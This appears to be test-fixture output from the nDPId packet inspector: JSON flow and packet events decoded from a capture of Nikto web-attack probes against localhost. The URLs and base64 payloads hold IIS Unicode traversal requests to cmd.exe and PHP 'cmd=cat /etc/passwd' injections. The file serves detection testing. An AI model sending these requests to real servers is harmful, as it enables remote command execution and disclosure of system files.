+00684{"flow_id":731,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":731,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":873400,"pkt_caplen":252,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":252,"pkt_l4_len":218,"pkt":"AAAAAAAAAAAAAAAACABFAADuNNpAAEAGBy5\/AAABfwAAAcdQH5AuMg3l88MKY4AYAED+4gAAAQEICp1m\/5mdZv+ZR0VUIC9tc2FkYy8uLiVjMCVhZi4uLy4uJWMwJWFmLi4vd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYytkaXIgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMzE5MykNCg0K"} +00812{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":731,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":731,"flow_packet_id":1,"flow_first_seen":1576420277873,"flow_last_seen":0,"flow_tot_l4_data_len":218,"flow_min_l4_data_len":218,"flow_max_l4_data_len":218,"flow_avg_l4_data_len":218,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51024,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/msadc\/..%c0%af..\/..%c0%af..\/winnt\/system32\/cmd.exe?\/c+dir","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003193)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":732,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":732,"flow_packet_id":1,"flow_first_seen":1576420277874,"flow_last_seen":0,"flow_tot_l4_data_len":221,"flow_min_l4_data_len":221,"flow_max_l4_data_len":221,"flow_avg_l4_data_len":221,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51026,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00688{"flow_id":732,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":732,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":874650,"pkt_caplen":255,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":255,"pkt_l4_len":221,"pkt":"AAAAAAAAAAAAAAAACABFAADxWrBAAEAG4VR\/AAABfwAAAcdSH5DZZWOTGgkmxYAYAED+5QAAAQEICp1m\/5qdZv+aR0VUIC9wYnNlcnZlci8uLiVjMCVhZi4uLy4uJWMwJWFmLi4vd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYytkaXIgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDMxOTQpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00815{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":732,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":732,"flow_packet_id":1,"flow_first_seen":1576420277874,"flow_last_seen":0,"flow_tot_l4_data_len":221,"flow_min_l4_data_len":221,"flow_max_l4_data_len":221,"flow_avg_l4_data_len":221,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51026,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/pbserver\/..%c0%af..\/..%c0%af..\/winnt\/system32\/cmd.exe?\/c+dir","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003194)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":733,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":733,"flow_packet_id":1,"flow_first_seen":1576420277875,"flow_last_seen":0,"flow_tot_l4_data_len":216,"flow_min_l4_data_len":216,"flow_max_l4_data_len":216,"flow_avg_l4_data_len":216,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51028,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00685{"flow_id":733,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":733,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":875910,"pkt_caplen":250,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":250,"pkt_l4_len":216,"pkt":"AAAAAAAAAAAAAAAACABFAADs1jZAAEAGZdN\/AAABfwAAAcdUH5CUA+8Kq3ejjIAYAED+4AAAAQEICp1m\/5udZv+bR0VUIC9ycGMvLi4lYzAlYWYuLi8uLiVjMCVhZi4uL3dpbm50L3N5c3RlbTMyL2NtZC5leGU\/L2MrZGlyIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDMxOTUpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00810{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":733,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":733,"flow_packet_id":1,"flow_first_seen":1576420277875,"flow_last_seen":0,"flow_tot_l4_data_len":216,"flow_min_l4_data_len":216,"flow_max_l4_data_len":216,"flow_avg_l4_data_len":216,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51028,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/rpc\/..%c0%af..\/..%c0%af..\/winnt\/system32\/cmd.exe?\/c+dir","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003195)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":734,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":734,"flow_packet_id":1,"flow_first_seen":1576420277877,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51030,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00672{"flow_id":734,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":734,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":877240,"pkt_caplen":243,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":243,"pkt_l4_len":209,"pkt":"AAAAAAAAAAAAAAAACABFAADl6fRAAEAGUhx\/AAABfwAAAcdWH5B7VdDQBDmQE4AYAED+2QAAAQEICp1m\/52dZv+dR0VUIC9zY3JpcHRzLy4uJWMwJWFmLi4vd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYytkaXIgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDMxOTYpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00802{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":734,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":734,"flow_packet_id":1,"flow_first_seen":1576420277877,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51030,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/scripts\/..%c0%af..\/winnt\/system32\/cmd.exe?\/c+dir","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003196)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":735,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":735,"flow_packet_id":1,"flow_first_seen":1576420277878,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51032,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00673{"flow_id":735,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":735,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":878518,"pkt_caplen":243,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":243,"pkt_l4_len":209,"pkt":"AAAAAAAAAAAAAAAACABFAADltn1AAEAGhZN\/AAABfwAAAcdYH5Dqro9H\/GjzZIAYAED+2QAAAQEICp1m\/56dZv+eR0VUIC9zY3JpcHRzLy4uJWMxJTFjLi4vd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYytkaXIgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDMxOTcpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00802{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":735,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":735,"flow_packet_id":1,"flow_first_seen":1576420277878,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51032,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/scripts\/..%c1%1c..\/winnt\/system32\/cmd.exe?\/c+dir","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003197)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":736,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":736,"flow_packet_id":1,"flow_first_seen":1576420277880,"flow_last_seen":0,"flow_tot_l4_data_len":214,"flow_min_l4_data_len":214,"flow_max_l4_data_len":214,"flow_avg_l4_data_len":214,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51034,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00680{"flow_id":736,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":736,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":880746,"pkt_caplen":248,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":248,"pkt_l4_len":214,"pkt":"AAAAAAAAAAAAAAAACABFAADqdQ5AAEAGxv1\/AAABfwAAAcdaH5DlNEwz0kNZnYAYAED+3gAAAQEICp1m\/6CdZv+gR0VUIC9zY3JpcHRzLy4uJWMxJTFjLi4vd2lubnQvc3lzdGVtMzIvY21kLmV4ZT8vYytkaXIrYzpcIiBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMzE5OCkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00809{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":736,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":736,"flow_packet_id":1,"flow_first_seen":1576420277880,"flow_last_seen":0,"flow_tot_l4_data_len":214,"flow_min_l4_data_len":214,"flow_max_l4_data_len":214,"flow_avg_l4_data_len":214,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51034,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/scripts\/..%c1%1c..\/winnt\/system32\/cmd.exe?\/c+dir+c:\\\"","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003198)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":737,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":737,"flow_packet_id":1,"flow_first_seen":1576420277882,"flow_last_seen":0,"flow_tot_l4_data_len":232,"flow_min_l4_data_len":232,"flow_max_l4_data_len":232,"flow_avg_l4_data_len":232,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51036,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00704{"flow_id":737,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":737,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":882061,"pkt_caplen":266,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":266,"pkt_l4_len":232,"pkt":"AAAAAAAAAAAAAAAACABFAAD8MthAAEAGCSJ\/AAABfwAAAcdcH5B7UwvpG4XAvoAYAED+8AAAAQEICp1m\/6GdZv+hR0VUIC9fdnRpX2Jpbi8uLiVjMCVhZi4uLy4uJWMwJWFmLi4vLi4lYzAlYWYuLi93aW5udC9zeXN0ZW0zMi9jbWQuZXhlPy9jK2RpciBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMzE5OSkNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00827{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":737,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":737,"flow_packet_id":1,"flow_first_seen":1576420277882,"flow_last_seen":0,"flow_tot_l4_data_len":232,"flow_min_l4_data_len":232,"flow_max_l4_data_len":232,"flow_avg_l4_data_len":232,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51036,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/_vti_bin\/..%c0%af..\/..%c0%af..\/..%c0%af..\/winnt\/system32\/cmd.exe?\/c+dir","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003199)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":738,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":738,"flow_packet_id":1,"flow_first_seen":1576420277883,"flow_last_seen":0,"flow_tot_l4_data_len":200,"flow_min_l4_data_len":200,"flow_max_l4_data_len":200,"flow_avg_l4_data_len":200,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51038,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00660{"flow_id":738,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":738,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":883407,"pkt_caplen":234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":234,"pkt_l4_len":200,"pkt":"AAAAAAAAAAAAAAAACABFAADcUThAAEAG6uF\/AAABfwAAAcdeH5DOhWgJaQI1xYAYAED+0AAAAQEICp1m\/6OdZv+jR0VUIC9hZG1pbi9zeXN0ZW0ucGhwMz9jbWQ9Y2F0JTIwL2V0Yy9wYXNzd2QgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDMyMTYpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00791{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":738,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":738,"flow_packet_id":1,"flow_first_seen":1576420277883,"flow_last_seen":0,"flow_tot_l4_data_len":200,"flow_min_l4_data_len":200,"flow_max_l4_data_len":200,"flow_avg_l4_data_len":200,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51038,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/admin\/system.php3?cmd=cat%20\/etc\/passwd","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003216)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":739,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":739,"flow_packet_id":1,"flow_first_seen":1576420277885,"flow_last_seen":0,"flow_tot_l4_data_len":193,"flow_min_l4_data_len":193,"flow_max_l4_data_len":193,"flow_avg_l4_data_len":193,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51040,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00653{"flow_id":739,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":739,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":885905,"pkt_caplen":227,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":227,"pkt_l4_len":193,"pkt":"AAAAAAAAAAAAAAAACABFAADVkAVAAEAGrBt\/AAABfwAAAcdgH5ANV6k94mK\/lYAYAED+yQAAAQEICp1m\/6WdZv+lR0VUIC9hZG1pbi9zeXN0ZW0ucGhwMz9jbWQ9ZGlyJTIwYzpcXCBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMzIxNykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00784{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":739,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":739,"flow_packet_id":1,"flow_first_seen":1576420277885,"flow_last_seen":0,"flow_tot_l4_data_len":193,"flow_min_l4_data_len":193,"flow_max_l4_data_len":193,"flow_avg_l4_data_len":193,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51040,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/admin\/system.php3?cmd=dir%20c:\\\\","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003217)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":740,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":740,"flow_packet_id":1,"flow_first_seen":1576420277887,"flow_last_seen":0,"flow_tot_l4_data_len":198,"flow_min_l4_data_len":198,"flow_max_l4_data_len":198,"flow_avg_l4_data_len":198,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51042,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00661{"flow_id":740,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":740,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":887533,"pkt_caplen":232,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":232,"pkt_l4_len":198,"pkt":"AAAAAAAAAAAAAAAACABFAADawa5AAEAGem1\/AAABfwAAAcdiH5DPxPiU5alglIAYAED+zgAAAQEICp1m\/6edZv+nR0VUIC9hZG1pbi9leGVjLnBocDM\/Y21kPWNhdCUyMC9ldGMvcGFzc3dkIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAzMjE4KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00789{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":740,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":740,"flow_packet_id":1,"flow_first_seen":1576420277887,"flow_last_seen":0,"flow_tot_l4_data_len":198,"flow_min_l4_data_len":198,"flow_max_l4_data_len":198,"flow_avg_l4_data_len":198,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51042,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/admin\/exec.php3?cmd=cat%20\/etc\/passwd","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003218)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":741,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":741,"flow_packet_id":1,"flow_first_seen":1576420277889,"flow_last_seen":0,"flow_tot_l4_data_len":191,"flow_min_l4_data_len":191,"flow_max_l4_data_len":191,"flow_avg_l4_data_len":191,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51044,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00649{"flow_id":741,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":741,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":889299,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"AAAAAAAAAAAAAAAACABFAADTtGFAAEAGh8F\/AAABfwAAAcdkH5BoGo0gUvgPHYAYAED+xwAAAQEICp1m\/6mdZv+pR0VUIC9hZG1pbi9leGVjLnBocDM\/Y21kPWRpciUyMGM6XFwgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDMyMTkpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00782{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":741,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":741,"flow_packet_id":1,"flow_first_seen":1576420277889,"flow_last_seen":0,"flow_tot_l4_data_len":191,"flow_min_l4_data_len":191,"flow_max_l4_data_len":191,"flow_avg_l4_data_len":191,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51044,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/admin\/exec.php3?cmd=dir%20c:\\\\","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003219)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":742,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":742,"flow_packet_id":1,"flow_first_seen":1576420277890,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51046,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":742,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":742,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":890802,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"AAAAAAAAAAAAAAAACABFAADHrzRAAEAGjPp\/AAABfwAAAcdmH5C4mZZz5s98MYAYAED+uwAAAQEICp1m\/6qdZv+qR0VUIC9pc2FwaS90c3Rpc2FwaS5kbGwgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMzI2MykNCg0K"} +00768{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":742,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":742,"flow_packet_id":1,"flow_first_seen":1576420277890,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51046,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/isapi\/tstisapi.dll","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003263)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":743,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":743,"flow_packet_id":1,"flow_first_seen":1576420277892,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51048,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 